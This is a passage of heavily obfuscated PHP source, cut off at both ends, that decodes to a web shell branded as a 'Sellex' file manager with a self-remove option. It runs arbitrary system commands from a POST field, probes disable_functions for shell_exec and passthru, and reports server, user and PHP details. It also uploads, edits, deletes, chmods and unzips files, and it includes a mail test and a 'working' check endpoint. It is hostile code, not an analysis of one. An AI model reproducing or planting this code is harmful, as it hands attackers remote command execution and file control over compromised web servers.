0\x2b\42\x20\160\x20\x43\40\102\42\54\101\72\x37\54\x7a\x3a\67\x2c\175\x29\x2e\171\x28\50\70\51\x3d\76\173\162\50\x38\x29\173\170\x20\61\x3d\x24\x28\x36\x29\56\x35\x28\x22\x33\x22\51\53\42\x26\x74\x3d\x22\x2b\50\50\x30\x3d\75\x22\x76\x22\51\77\x22\x64\42\x3a\42\146\42\x29\73\165\56\163\x2e\x33\75\x31\x7d\x7d\x29\175\51\73\x27\x2c\x34\x31\x2c\64\x31\54\47\164\x79\160\x65\174\x62\x75\x69\154\144\x55\x52\x4c\174\144\x61\164\x61\x7c\x68\162\x65\146\174\x74\x6f\x6f\154\x74\151\160\x7c\x61\x74\x74\162\174\x74\x68\151\163\174\164\162\x75\145\174\x77\151\x6c\154\104\x65\154\x65\x74\x65\174\x74\151\x74\x6c\145\x7c\x77\141\162\156\151\x6e\x67\x7c\x69\143\157\x6e\x7c\163\167\x61\x6c\x7c\174\174\x7c\160\162\145\x76\x65\x6e\164\x44\145\146\x61\165\154\164\x7c\x6c\x65\x74\x7c\x79\157\x75\174\146\165\x6e\143\164\x69\157\156\x7c\143\x6c\151\143\x6b\174\144\x65\154\x65\164\145\174\164\157\x67\x67\x6c\145\174\151\x6e\151\164\174\x41\x72\145\174\x77\x69\154\154\x7c\163\x75\x72\145\174\151\146\x7c\154\157\143\141\x74\151\x6f\x6e\x7c\x7c\144\157\143\165\155\145\x6e\164\x7c\x66\x6f\154\144\x65\162\x7c\164\x65\x78\x74\174\x63\x6f\156\163\x74\174\x74\150\x65\x6e\x7c\x64\141\156\147\x65\x72\x4d\157\x64\x65\174\142\x75\164\x74\x6f\x6e\x73\x7c\x64\x65\154\145\164\x65\144\174\142\x65\174\x54\150\x69\163\174\142\x73\103\x75\x73\x74\157\155\x46\x69\x6c\145\x49\x6e\160\x75\x74\47\56\x73\x70\x6c\151\164\50\x27\174\x27\51\x2c\x30\54\173\175\x29\51\x3c\x2f\x73\143\162\x69\x70\164\76\xa\xa\74\163\143\162\x69\x70\x74\x20\x73\162\x63\75\x22\x68\164\164\160\163\x3a\x2f\57\x63\144\x6e\56\152\163\144\145\154\151\166\x72\x2e\x6e\x65\x74\x2f\x6e\160\x6d\57\100\x65\x78\x75\141\156\x62\157\x2f\146\x69\154\145\x2d\x69\x63\x6f\x6e\x73\55\x6a\163\100\154\141\164\x65\x73\164\57\144\151\x73\164\57\x6a\x73\x2f\x66\151\x6c\x65\x2d\x69\x63\157\156\x73\56\155\x69\x6e\56\152\163\42\x3e\74\57\x73\x63\x72\151\x70\x74\x3e\xa\x3c\163\143\162\151\160\x74\76\xa\40\40\x63\157\156\x73\164\40\x69\x63\157\x6e\163\40\x3d\40\x72\x65\x71\x75\151\162\x65\x28\x27\x66\x69\154\145\55\151\x63\x6f\156\x73\x2d\x6a\x73\47\51\xa\x20\x20\144\157\143\165\155\145\x6e\164\x2e\161\x75\x65\162\x79\123\x65\x6c\145\143\164\x6f\162\x41\x6c\154\x28\47\x2e\142\x69\56\x62\151\55\x66\x69\x6c\145\x2d\x65\141\162\x6d\141\162\153\55\x66\151\x6c\154\47\51\56\x66\157\x72\105\141\x63\150\50\x69\40\75\x3e\x20\173\12\40\x20\40\x20\x69\143\x6f\x6e\x73\56\x67\x65\x74\103\x6c\141\163\x73\50\x69\x2e\147\145\x74\101\x74\x74\x72\x69\x62\165\164\x65\x28\47\144\x61\164\x61\55\x6e\141\155\x65\47\x29\51\x2e\164\150\145\156\50\x63\x20\75\76\x20\x69\56\x63\x6c\141\163\x73\x4e\x61\x6d\145\x20\x3d\x20\x63\56\x72\145\160\154\x61\143\145\50\x22\151\x63\157\156\55\x66\151\x6c\x65\55\164\145\x78\x74\42\54\40\x22\164\145\170\164\x2d\151\143\x6f\x6e\42\51\51\xa\40\x20\x7d\51\xa\x3c\x2f\x73\143\x72\x69\x70\164\x3e\xa\74\x2f\142\x6f\x64\x79\x3e\x3c\x2f\150\x74\x6d\154\76\12"; goto xuNK1; RpDwy: echo substr(@phpversion(), 0, 20); goto rfYlk; kU72Z: echo system($_POST["\145\170\145\143\x6d\x64"]); goto rcEfg; Qm8jY: GfRvx: goto k5wXS; eKyjG: if (strpos(ini_get("\144\x69\163\x61\x62\154\145\137\x66\x75\156\x63\x74\x69\157\x6e\x73"), "\x73\x68\x65\x6c\x6c\137\x65\170\x65\143") !== 0) { goto aEkYB; } goto FEBxE; MIuoc: fclose($huZFR); goto qtvxW; B6QGb: F2y3T("\146\x69\154\145\40\x64\145\x6c\x65\164\x65\x64\x20\163\x75\x63\143\x65\163\x73\x66\x75\154\x6c\x79"); goto f0OQq; qG05B: if (strpos($bP9ht, "\141\144\144\x69\156\147") !== false) { goto nlzqU; } goto io1hp; sJ72V: if (@mail($I8vAC . "\100" . $I8vAC . "\x2e\x63\x6f\x6d", "\110\x65\x6c\x6c\x6f", "\110\x65\x6c\x6c\x6f\54\40\144\x65\x61\x72\40\x75\163\145\162\x21")) { goto bjEbz; } goto jsW6g; ln1jF: GvegE: goto zl_wE; sfpuB: uVwWe: goto ptH6a; GZOS4: if (!(isset($_POST["\x63\147\x66"]) && isset($_POST["\x63\x6f\x64\x65\170"]))) { goto cNHru; } goto IJK5e; qgmWb: unlink($fKgA3); goto BD3G9; pQMdN: echo basename($_SERVER["\120\110\120\137\x53\x45\x4c\x46"]); goto ftX43; te6fx: echo fFUJP(); goto suGJ_; hRGsN: echo $_SERVER["\123\105\122\x56\x45\x52\x5f\x41\x44\x44\x52"]; goto X7iEx; d82TW: if (!isset($_GET["\143\x68\x65\x63\153"])) { goto oUhL4; } goto t1bgm; mdSkB: jH9T2: goto ln1jF; t1bgm: die("\167\x6f\162\153\151\x6e\x67"); goto qeUDI; EWy47: if ($uKjJE == "\156\x65\167\104\151\162") { goto A1Aby; } goto Q1b9f; pVwzF: if (empty($bzgfY)) { goto T17o4; } goto M4x5x; JAjFD: UMC9K: goto r5Ado; g2Jgz: NY9pM: goto o4r4L; g1M5R: rmdir($mKxy1); goto QmpR8; zkSv_: M9NtG: goto gvvFg; qp1Ja: echo ta6a_(); goto x20Uz; I04b2: echo uocA2(); goto qBcvL; Rjllv: echo "\x22\76\x3c\x62\x72\76\12\40\x20\40\x20\x20\x20\40\40\74\151\156\x70\165\x74\40\164\x79\160\x65\75\42\163\165\142\155\x69\x74\x22\40\x63\154\141\x73\163\x3d\42\142\165\164\164\x6f\156\40\151\163\x2d\x70\162\x69\x6d\141\162\171\x20\155\154\55\x32\42\x20\166\141\154\x75\x65\75\42\x63\x68\155\157\144\42\76\xa\x20\40\x20\40\40\40\74\x2f\x64\151\x76\x3e\xa\40\x20\40\40\x3c\57\146\157\162\x6d\x3e\12\x20\x20\74\x2f\144\151\x76\76\12\x9"; goto GZOS4; nXISj: nlzqU: goto ni_Wu; Ivj0Q: echo $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"]; goto f3cw5; fwZTh: ptPZr($_REQUEST["\160"] . "\x2f" . $_REQUEST["\x6e"]); goto bVKkC; S9ILR: goto ezK61; goto FOIiG; maHD6: $oJwbz = ''; goto SgmfV; LQ0zG: file_put_contents($E5Z_f, "\x74\145\x73\x74"); goto rA9Hj; CXBuX: if (!isset($_FILES["\x66"])) { goto C3vwP; } goto e3BHi; Lh2oi: aEkYB: goto UvaCs; KwcdW: echo get_current_user(); goto zysIk; ezNsH: echo FFujP(); goto iTPy6; GarFd: $bzgfY = shell_exec("\167\x68\x69\143\x68\x20\172\x69\160"); goto maHD6; eLrPW: F2Y3T("\x5a\111\x50\40\x46\151\x6c\145\x20\105\170\164\162\141\143\x74\x65\x64\x21"); goto be0Xq; HhYmi: echo "\42\76\12\40\40\x20\x20\x3c\144\151\x76\x20\x63\154\x61\163\x73\75\42\151\163\x2d\x66\x6c\x65\x78\42\x3e\xa\x20\x20\40\40\x20\x20\74\x69\x6e\160\165\x74\x20\x74\171\x70\x65\75\x22\x74\145\x78\x74\42\40\156\x61\x6d\145\75\x22\x63\x6f\144\145\x78\42\x20\143\x6c\141\163\x73\x3d\42\x69\156\x70\x75\164\42\x20\160\x6c\141\143\x65\x68\x6f\154\144\x65\162\75\42"; goto kRxWW; GpfQr: sl6BV: goto Q_7wu; hXpWe: echo "\74\x2f\164\151\164\x6c\x65\76\xa\40\x20\40\40\74\x73\164\171\154\145\76\12\40\40\40\40\x20\x20\164\x62\157\x64\171\40\x74\162\x3a\x68\x6f\166\x65\162\40\x7b\12\x20\40\40\x20\40\40\40\x20\142\x61\143\153\147\162\157\x75\156\x64\55\x63\x6f\154\x6f\162\x3a\40\x68\163\154\x28\61\x37\x31\x2c\x20\x31\60\60\45\54\x20\x31\66\45\51\12\40\x20\40\40\40\x20\175\xa\x20\x20\40\40\40\40\154\x69\40\x7b\xa\x20\x20\40\x20\40\x20\40\x20\x66\157\156\x74\x2d\163\x69\172\x65\72\x20\x31\70\x70\x78\73\12\x20\40\x20\40\x20\x20\x20\40\x6d\141\162\147\151\x6e\55\x6c\x65\146\x74\x3a\40\66\160\170\x3b\xa\40\40\x20\40\x20\x20\40\x20\x6c\151\163\x74\x2d\163\164\x79\x6c\x65\x3a\x20\156\x6f\x6e\x65\xa\x20\40\40\x20\40\40\x7d\12\x20\x20\x20\40\40\x20\x69\56\151\x63\x6f\156\x20\173\12\x20\40\x20\x20\40\40\x20\40\163\x63\x61\154\x65\x3a\x20\x31\x2e\64\73\12\40\x20\40\x20\x20\x20\x20\x20\155\x61\162\x67\x69\x6e\55\154\x65\x66\164\x3a\40\x2d\x34\160\x78\x3b\xa\x20\x20\x20\40\x20\x20\x7d\xa\x20\40\x20\x20\40\x20\x69\x6e\160\165\x74\x2e\x69\156\160\165\x74\72\72\x70\x6c\141\143\x65\150\157\154\144\145\x72\x7b\12\40\40\40\x20\40\40\40\40\143\x6f\x6c\x6f\x72\x3a\40\x68\x73\x6c\50\61\x37\61\x2c\40\61\x30\x30\x25\54\40\62\x38\45\51\x3b\12\x20\x20\40\40\x20\40\x7d\12\x20\x20\x20\40\x20\x20\x2e\146\154\x6f\x61\x74\x69\x6e\147\55\x62\141\x6e\156\145\x72\173\xa\40\x20\40\x20\x20\x20\x20\40\x70\157\163\151\164\151\157\156\72\146\151\170\x65\x64\73\x62\x6f\x74\x74\157\x6d\72\60\x3b\x72\151\147\x68\164\72\x30\73\xa\x20\40\40\40\40\x20\175\xa\40\x20\40\x20\x20\x20\x2e\146\x6c\157\141\x74\151\156\147\x2d\x62\x61\x6e\156\x65\162\40\141\40\173\12\x20\40\x20\x20\40\40\x20\40\142\157\x72\144\x65\x72\x3a\64\x70\170\40\163\157\x6c\151\x64\40\x23\x66\x66\146\146\x66\146\66\66\x3b\12\x20\x20\x20\x20\40\40\x20\40\x63\x6f\154\157\162\x3a\x23\146\x66\146\x66\x66\146\103\x43\x3b\12\40\x20\40\x20\40\x20\40\x20\142\x6f\162\x64\x65\162\x2d\162\141\144\151\x75\x73\72\70\x70\170\x3b\12\40\40\40\x20\x20\x20\x20\x20\x70\x61\144\x64\151\x6e\147\x3a\x32\160\170\x20\61\62\x70\170\73\12\x20\x20\x20\x20\x20\x20\x7d\12\40\x20\40\40\40\x20\x2e\146\154\x6f\x61\164\x69\x6e\147\55\x62\141\x6e\x6e\x65\162\x20\x61\x20\x62\40\x7b\12\x20\40\40\40\40\x20\x20\40\146\x6f\156\164\55\167\x65\151\x67\150\x74\72\71\x30\60\x3b\xa\40\40\40\40\40\x20\40\40\x63\157\x6c\157\162\72\x77\x68\151\x74\145\x3b\xa\x20\x20\x20\40\40\40\x7d\xa\x20\40\x20\40\x20\x20\x2e\x67\162\x61\144\x69\x65\156\164\55\x62\147\x20\173\xa\40\x20\x20\40\40\x20\x20\40\142\x61\x63\x6b\x67\162\x6f\165\x6e\x64\x3a\x20\x6c\151\x6e\x65\141\162\55\x67\162\x61\144\151\145\x6e\x74\50\55\64\x35\144\x65\147\54\x20\40\43\60\x66\x30\x63\62\x39\54\x20\x23\x33\60\x32\x62\66\x33\54\x20\x23\x32\x34\62\x34\63\x65\54\x23\x65\x65\x37\x37\x35\62\54\x20\x23\x65\x37\63\143\67\145\x2c\x20\43\x32\63\x61\66\144\x35\54\40\x23\62\63\144\65\x61\x62\54\x20\43\146\x66\x35\x31\62\146\54\x20\x23\x64\144\62\x34\x37\66\54\x20\x23\61\146\x34\60\x33\67\x2c\x20\x23\x31\x36\62\x32\62\141\54\40\x23\60\x62\64\70\66\x62\x2c\40\x23\62\x33\60\67\x34\144\x2c\x20\x23\x63\143\65\x33\x33\x33\x29\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x62\141\x63\x6b\147\162\157\165\156\x64\55\x73\x69\172\x65\x3a\x20\x34\x30\x30\x25\40\64\60\60\45\x3b\12\40\x20\x20\40\40\x20\40\40\141\x6e\151\155\141\164\x69\157\156\x3a\40\x67\162\x61\144\151\145\x6e\164\x20\61\x30\163\40\x65\141\x73\x65\x20\x69\x6e\146\x69\x6e\151\164\x65\x3b\xa\x20\40\40\40\x20\40\x7d\xa\xa\40\40\x20\40\x20\40\x40\x6b\145\171\146\162\141\x6d\x65\x73\x20\x67\162\x61\144\x69\x65\156\x74\40\173\12\40\x20\40\x20\40\40\40\x20\60\45\40\173\12\40\40\x20\40\x20\40\x20\40\40\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\x2d\x70\x6f\163\x69\164\151\157\x6e\x3a\40\x30\45\x20\x35\60\x25\73\12\40\x20\40\x20\x20\40\x20\40\175\12\x20\x20\x20\x20\40\x20\x20\40\65\60\45\x20\173\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\x61\143\x6b\x67\162\x6f\x75\x6e\x64\55\x70\157\163\x69\164\151\x6f\x6e\72\40\x31\x30\x30\x25\40\65\x30\x25\x3b\12\x20\x20\x20\40\x20\40\40\x20\175\xa\x20\x20\x20\40\x20\x20\x20\x20\61\x30\x30\45\40\x7b\12\40\x20\40\40\x20\40\40\x20\40\40\142\x61\x63\x6b\147\162\157\165\156\x64\55\160\157\x73\x69\x74\x69\157\x6e\x3a\40\x30\45\x20\65\60\x25\73\12\40\x20\x20\x20\x20\40\40\40\175\12\x20\x20\40\x20\x20\x20\x7d\xa\12\12\x20\x20\x20\x20\x20\40\141\x7b\x63\x6f\154\x6f\x72\x3a\43\146\146\x66\175\12\x20\x20\40\x20\x3c\x2f\x73\x74\x79\x6c\x65\x3e\12\x20\x20\40\40\74\163\x63\162\151\160\164\40\x73\162\x63\75\42\57\57\165\x6e\160\x6b\x67\56\x63\x6f\155\x2f\163\x77\x65\x65\164\141\x6c\x65\x72\x74\x2f\x64\x69\x73\164\x2f\x73\x77\x65\145\164\141\154\145\x72\164\x2e\x6d\x69\156\x2e\152\163\42\x3e\74\x2f\163\x63\x72\x69\x70\164\x3e\12\x20\x20\74\57\x68\x65\141\144\x3e\xa\74\142\x6f\x64\x79\x20\x64\x61\164\141\x2d\x74\x68\x65\155\145\75\x22\144\x61\x72\x6b\42\40\x63\x6c\141\163\163\x3d\x22\150\141\x73\55\x62\141\x63\153\x67\162\157\x75\x6e\x64\x2d\142\154\x61\143\x6b\55\142\151\163\x20\150\x61\x73\x2d\164\x65\x78\164\55\x77\150\151\x74\x65\55\142\x69\x73\x22\40\x73\164\x79\x6c\x65\x3d\42\x6d\x69\156\x2d\150\145\x69\147\x68\164\x3a\x31\x30\60\x76\x68\42\76\12\40\x20\x3c\144\151\x76\40\x73\164\171\x6c\145\x3d\42\x64\151\163\160\154\x61\x79\x3a\156\x6f\x6e\x65\42\76\12\40\40\x20\x20\74\x61\40\x68\x72\145\x66\x3d\x22\150\164\164\160\x73\72\57\57\x73\x65\x6c\154\x65\170\x2e\142\x69\x7a\x22\x20\x74\x69\x74\154\x65\75\42\123\x65\x6c\x6c\x65\170\40\123\150\157\x70\x22\x3e\x53\145\154\x6c\x65\170\x20\x53\x68\157\160\74\57\141\76\xa\40\40\40\40\74\x64\151\166\76\12\x20\40\40\40\40\x20\74\163\160\x61\x6e\x3e\x53\x65\154\154\145\170\x2e\x70\x77\74\x2f\x73\x70\141\156\76\12\x20\40\x20\x20\x20\40\x3c\163\160\x61\x6e\76\x46\x69\x6c\145\x20\155\x61\x6e\x61\147\145\x72\x3c\57\x73\160\141\156\x3e\12\x20\x20\40\40\40\x20\x3c\163\x70\x61\156\x3e\123\x65\x6c\146\40\162\x65\155\x6f\166\x65\74\x2f\x73\x70\x61\156\76\12\x20\40\x20\40\74\57\144\151\166\x3e\12\x20\40\40\x20\x3c\154\x69\x3e\125\156\141\155\x65\40\72\40\x3c\156\157\142\162\x3e"; goto KBqBV; ftX43: echo "\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\171\160\145\75\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\x73\x3d\x22\142\165\x74\x74\x6f\x6e\x20\x69\163\x2d\x70\162\x69\155\141\162\171\40\151\163\55\x64\x61\162\x6b\40\151\x73\x2d\163\x6d\141\154\x6c\x20\155\164\x2d\62\42\40\156\141\x6d\145\75\x22\151\156\146\x6f\42\x20\x76\141\x6c\165\x65\75\x22\106\165\x6c\x6c\40\x53\x65\162\166\x65\162\x20\x49\156\x66\157\x22\x3e\xa\x20\x20\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\12"; goto Zn19y; asyxZ: if ($DRQDR === TRUE) { goto pBHDV; } goto dJUVQ; gvvFg: echo "\74\144\x69\x76\x20\x6d\x65\164\150\x6f\144\75\42\x70\157\163\164\42\40\143\x6c\141\x73\163\75\42\x62\x6f\170\x22\x20\x73\x74\171\x6c\x65\x3d\x22\x62\x6f\x72\x64\145\x72\x3a\62\160\170\40\163\x6f\x6c\151\144\x20\x68\x73\154\50\x31\x37\x31\54\40\x31\x30\60\45\x2c\40\61\x36\x25\x29\42\x3e\xa\40\40\x3c\150\64\x20\x63\154\x61\x73\163\75\x22\151\x73\x2d\163\x69\x7a\x65\55\x35\40\150\x61\x73\x2d\164\x65\x78\164\x2d\167\x65\x69\147\150\164\x2d\x62\157\x6c\144\x20\150\141\163\55\164\145\170\x74\x2d\160\162\151\x6d\141\x72\x79\x20\155\x62\x2d\x34\42\x3e\xa\x20\40\40\40\x56\151\145\167\x20\x46\x69\154\145\x3a\x20\x3c\163\x70\x61\x6e\x20\143\154\x61\163\x73\x3d\42\150\x61\x73\55\x74\145\x78\164\x2d\167\150\151\x74\145\x20\150\141\x73\55\x74\145\170\x74\x2d\167\145\x69\147\150\x74\x2d\x6e\x6f\x72\155\x61\x6c\x22\76\x20"; goto k9e4Z; fSLYI: if (!isset($_POST["\x7a\151\160\x66\151\x6c\x65"])) { goto TiVoG; } goto HiUWT; cgrAg: bjEbz: goto S8AsQ; PQOqt: echo ugwhk($_GET["\156"]); goto aDHsV; JniYy: unlink($FK4d6); goto Rk1K9; G87Ww: echo UgWhk($_GET["\x70"]) . "\x2f" . UgwhK($_GET["\x6e"]); goto HhYmi; o4r4L: echo "\125\156\172\151\160\160\x65\x64\x20\x73\x75\x63\143\145\163\x73\x66\165\154\x6c\171\x20\165\163\151\x6e\147\40\143\x6f\155\x6d\141\x6e\144\40\154\x69\x6e\x65\x2e\xa"; goto FcEuN; DNDGC: H2eZY: goto nH3yT; bVKkC: Rhx7x: goto BFh3Z; Qnu8o: if (isset($_GET["\x64\x6f\x77\x6e\154\x6f\x61\x64"])) { goto nBPoY; } goto BCVk_; C_GN8: isset($_POST["\163"]) ? $mWJjd[12]("{$keVpk}\x2f{$_POST["\156"]}") ? f2Y3t("\146\157\154\x64\145\162\40\x6e\141\155\x65\x20\x68\x61\163\40\x62\145\145\x6e\x20\x75\x73\x65\144", 0, "\46\x61\75" . SiRa4("\x6e\x65\167\x44\151\x72")) : ($mWJjd[15]("{$keVpk}\57{$_POST["\156"]}") ? F2y3T("\146\x6f\x6c\x64\x65\x72\40\143\162\x65\141\x74\145\x64\40\x73\165\x63\143\x65\163\163\x66\x75\154\154\171") : F2y3T("\146\x6f\x6c\144\x65\162\x20\146\141\151\154\x65\x64\x20\164\157\40\143\x72\x65\141\x74\x65", 0)) : null; goto cxhRw; K_MOx: $zErae++; goto uThiJ; OKn_g: echo "\74\x2f\x6c\x69\76\xa\40\x20\74\57\x64\x69\166\x3e\xa\x20\x20\x3c\x64\151\x76\40\143\x6c\141\163\x73\x3d\42\160\x2d\62\x22\x3e\12\40\40\40\40\x20\x20\x3c\150\x33\x20\x63\x6c\x61\x73\x73\x3d\42\x69\163\55\x73\151\x7a\x65\x2d\63\x20\x6d\x62\x2d\x33\42\x20\x3e\xa\40\40\x20\x20\40\x20\x20\40\74\x63\x65\156\x74\145\162\x3e\x3c\142\x3e\74\x61\x20\x73\164\x79\x6c\145\75\42\142\141\143\153\x67\x72\157\x75\x6e\x64\72\x74\x72\141\x6e\x73\160\141\162\145\x6e\x74\x22\x20\150\x72\145\x66\x3d\42"; goto LISdx; NbQpR: echo "\x3c\x2f\160\x72\x65\76\74\x2f\144\151\x76\76"; goto F63xR; f0OQq: zBzhl: goto OhcY4; i0L9P: if (isset($_GET["\160"])) { goto X1heF; } goto hB10d; nH3yT: echo "\124\150\x65\40\x27\x75\156\x7a\151\x70\47\x20\143\157\155\x6d\x61\156\x64\40\x69\163\40\156\x6f\x74\40\141\166\141\x69\x6c\141\x62\154\145\x20\157\156\x20\x74\x68\x69\x73\x20\x73\145\x72\166\x65\162\56\12"; goto vwrwf; m8TO1: $DRQDR = $qJtBd->open($huZFR); goto asyxZ; iTPy6: echo "\74\57\x6e\x6f\142\162\76\40\174\40\143\125\x52\114\x20\72\40"; goto HKjD5; rwbFS: dR8cX: goto lmJ1h; xLpxC: v0eS9: goto nJ13P; r2NiQ: echo "\40\x20\x20\x20\x20\x20\x3c\57\146\157\x72\155\76\12\40\40\x20\40\x20\x20\74\146\x6f\x72\x6d\x20\x61\143\164\151\x6f\156\x3d\42\x22\x20\x63\154\141\163\163\75\42\x69\163\x2d\x66\154\145\170\x20\151\163\55\x61\154\x69\147\x6e\55\x69\164\x65\155\163\x2d\x65\156\x64\x22\x20\x6d\145\164\x68\x6f\144\x3d\42\x50\117\123\x54\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\74\x64\x69\x76\76\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x3c\x21\55\55\x20\x3c\x6c\141\142\145\x6c\x3e\x4e\x65\x77\x20\x46\x69\x6c\145\74\x2f\154\141\142\x65\x6c\x3e\40\x2d\55\76\12\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x69\x6e\160\x75\164\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\143\154\x61\163\x73\x3d\42\x69\156\160\165\164\x20\151\x73\55\163\x6d\x61\154\154\42\40\x70\154\141\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x4e\x65\x77\x20\106\x69\x6c\x65\x22\40\x20\x6e\x61\155\145\x3d\x22\155\141\153\x65\146\x69\154\x65\42\x2f\x3e\12\40\x20\40\x20\40\40\x20\40\74\57\x64\x69\x76\76\12\x20\x20\x20\x20\x20\40\40\40\x3c\151\156\x70\165\x74\x20\143\154\141\163\163\x3d\42\x6d\x6c\x2d\61\x20\x62\165\x74\164\157\x6e\x20\151\163\x2d\160\162\x69\x6d\x61\x72\171\x20\x69\x73\x2d\x73\x6d\x61\x6c\154\42\40\x74\x79\x70\145\x3d\x22\163\165\142\155\x69\x74\x22\x20\x6e\141\155\145\75\x22\163\x75\142\x6d\x69\x74\x22\40\166\141\x6c\x75\x65\75\x22\x3e\x22\x2f\76\12\40\40\x20\40\x20\40\x20\x20"; goto H61a3; BrWxp: echo $_SERVER["\x52\105\115\x4f\124\x45\137\x41\104\104\x52"]; goto tZlvn; LNZmW: lA959: goto aygGR; suGJ_: echo "\x3c\57\156\x6f\142\162\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x3c\142\x20\x63\x6c\x61\x73\x73\75\42\164\141\x67\x20\x69\x73\x2d\154\151\x67\150\164\40\150\x61\x73\55\x74\x65\170\164\55\144\x61\x72\153\42\x3e\143\x55\x52\114\74\x2f\x62\76\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\156\x6f\x62\162\x20\x63\154\x61\163\x73\75\x22\x6d\x78\x2d\62\42\76"; goto I04b2; znQki: ISTc7: goto S4PR2; hRG94: die($oJwbz); goto RXCC4; VLAWb: function ta6A_() { goto qIzSa; Xx_Os: return "\x4f\106\106"; goto Hu5gv; XNMt4: return "\117\x4e"; goto uWjuh; T7EWo: if (!$CNnnz) { goto HT4LX; } goto XNMt4; Hu5gv: dK1SF: goto QjQdh; uWjuh: goto dK1SF; goto xfzK_; xfzK_: HT4LX: goto Xx_Os; qIzSa: $CNnnz = ini_get("\x73\x61\146\x65\x5f\x6d\x6f\144\145"); goto T7EWo; QjQdh: } goto nIBSq; ihg4R: echo "\x3c\x2f\144\x69\x76\x3e\xa\12"; goto cSOLn; qeUDI: oUhL4: goto Digjf; RU3J2: uUjpR: goto tvfll; BD3G9: unlink($mKxy1 . "\x2f\164\x65\x73\164\x5f\x63\157\155\155\x61\156\144\56\164\170\x74"); goto g1M5R; hp8IJ: echo "\42\x3e\12\x20\x20\40\x20\x20\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\42\x69\x73\x2d\146\x6c\x65\x78\x22\76\12\40\x20\x20\40\x20\x20\x20\x20\x3c\151\x6e\160\x75\164\x20\x74\171\x70\145\75\x22\164\145\170\x74\x22\x20\x6e\x61\155\145\75\42\143\157\144\145\170\x22\40\x63\x6c\141\163\163\75\42\x69\156\x70\x75\x74\x22\x20\x70\154\141\x63\x65\150\x6f\154\x64\145\162\x3d\x22"; goto o2t6T; ZxJHB: $I8vAC .= $Q0FGf[rand(0, $c4zya - 1)]; goto sfpuB; KNEon: if (file_exists($mKxy1 . "\x2f\164\x65\x73\164\x5f\143\157\x6d\x6d\141\x6e\144\x2e\164\170\164")) { goto NY9pM; } goto gFmxG; FEBxE: if (strpos(ini_get("\x64\x69\163\x61\x62\x6c\145\x5f\146\x75\156\143\164\151\157\156\163"), "\x70\141\x73\x73\164\x68\162\165") !== 0) { goto GfRvx; } goto kU72Z; S4PR2: jRMyk: goto ihg4R; ptH6a: $zErae++; goto S9ILR; PnUlf: if (!($zErae < count($mWJjd))) { goto JaEu0; } goto s5eAc; yLU0O: function ffuJp() { goto rCqHi; rCqHi: $xHymW = ini_get("\x64\x69\163\x61\x62\154\145\137\x66\x75\156\143\x74\x69\157\x6e\x73"); goto c8SN1; nq5s7: goto BjQbH; goto hBiDf; thxSs: return "\116\117\x4e\105"; goto toB77; c8SN1: if ($xHymW === null || $xHymW === '') { goto NODaP; } goto OE82c; OE82c: return $xHymW; goto nq5s7; toB77: BjQbH: goto MdwZ0; hBiDf: NODaP: goto thxSs; MdwZ0: } goto FhGzc; V15Yn: if (!$mWJjd[12]($FK4d6)) { goto TJ4s1; } goto T4Cf5; yUqwZ: unlink($fKgA3); goto hRG94; be0Xq: uBpEI: goto DD3Zf; xZKMy: bL7ZL($FK4d6); goto V15Yn; MwYDR: $C1o8f = "\163\143\x61\156\x64\151\x72"; goto uDHys; stDsX: echo "\74\x2f\156\x6f\x62\162\x3e\x20\x7c\40\131\x6f\165\162\40\x49\x50\40\x3a\x20\74\x6e\157\142\x72\76"; goto Ivj0Q; S_wCk: EhEmv: goto Ae3K7; DccwL: if ($uKjJE == "\166\x69\145\x77") { goto M9NtG; } goto LjELl; n6diT: $E5Z_f = "\164\145\163\x74\137\x63\x6f\155\x6d\141\x6e\144\x2e\164\x78\164"; goto LQ0zG; DJowL: FgYw1($_POST["\x63\147\x66"], $_POST["\x63\x6f\144\x65\170"]); goto KIbsI; hruo2: foreach ($eEP7u as $UUNTX => $NaV7W) { goto eX0_t; E07k0: if (!($zErae <= $UUNTX)) { goto wCUh6; } goto tW25X; o6IVN: echo "\x22\x3e{$NaV7W}\74\x2f\x61\76\x2f"; goto s2b3M; ffLWS: if (!($zErae != $UUNTX)) { goto hPVmu; } goto SLWrs; KbUTP: echo "\x3c\x61\x20\x68\x72\x65\146\75\42\77\x70\75"; goto OERBf; OEQlv: if (!($NaV7W == '')) { goto GS5nb; } goto p3VQ5; ewqVO: $zErae++; goto d8kRZ; mKW9n: hPVmu: goto CwEma; tW25X: echo sIRa4($eEP7u[$zErae]); goto ffLWS; eTgPd: GS5nb: goto KbUTP; d8kRZ: goto tgmlH; goto TZjIQ; CUjjr: echo "\74\x61\40\x68\162\145\146\x3d\x22\x3f\x70\75\x32\146\x22\76\176\74\57\141\x3e\57"; goto tURdc; eX0_t: if (!($UUNTX == 0 && $NaV7W == '')) { goto lP038; } goto CUjjr; CwEma: zBNFf: goto ewqVO; MP9gs: lP038: goto OEQlv; OERBf: $zErae = 0; goto HpZlc; SLWrs: echo "\62\x66"; goto mKW9n; p3VQ5: goto a30Gp; goto eTgPd; tURdc: goto a30Gp; goto MP9gs; TZjIQ: wCUh6: goto o6IVN; s2b3M: a30Gp: goto RGSrR; HpZlc: tgmlH: goto E07k0; RGSrR: } goto L3Ewc; QmpR8: die($FZEHa ? "\143\150\x65\x63\x6b\x2d\x72\145\163\165\x6c\x74\x2d\x31" : "\143\150\x65\x63\153\x2d\x72\x65\x73\165\154\x74\55\x30"); goto Yzggh; eEOh3: $zErae = 0; goto R4zTw; Me6j_: $f12FE = (isset($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\124\x50\x53"] === "\157\156" ? "\150\x74\x74\160\x73" : "\x68\164\x74\160") . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\x54"] . Ugwhk($q5oCr) . "\57" . 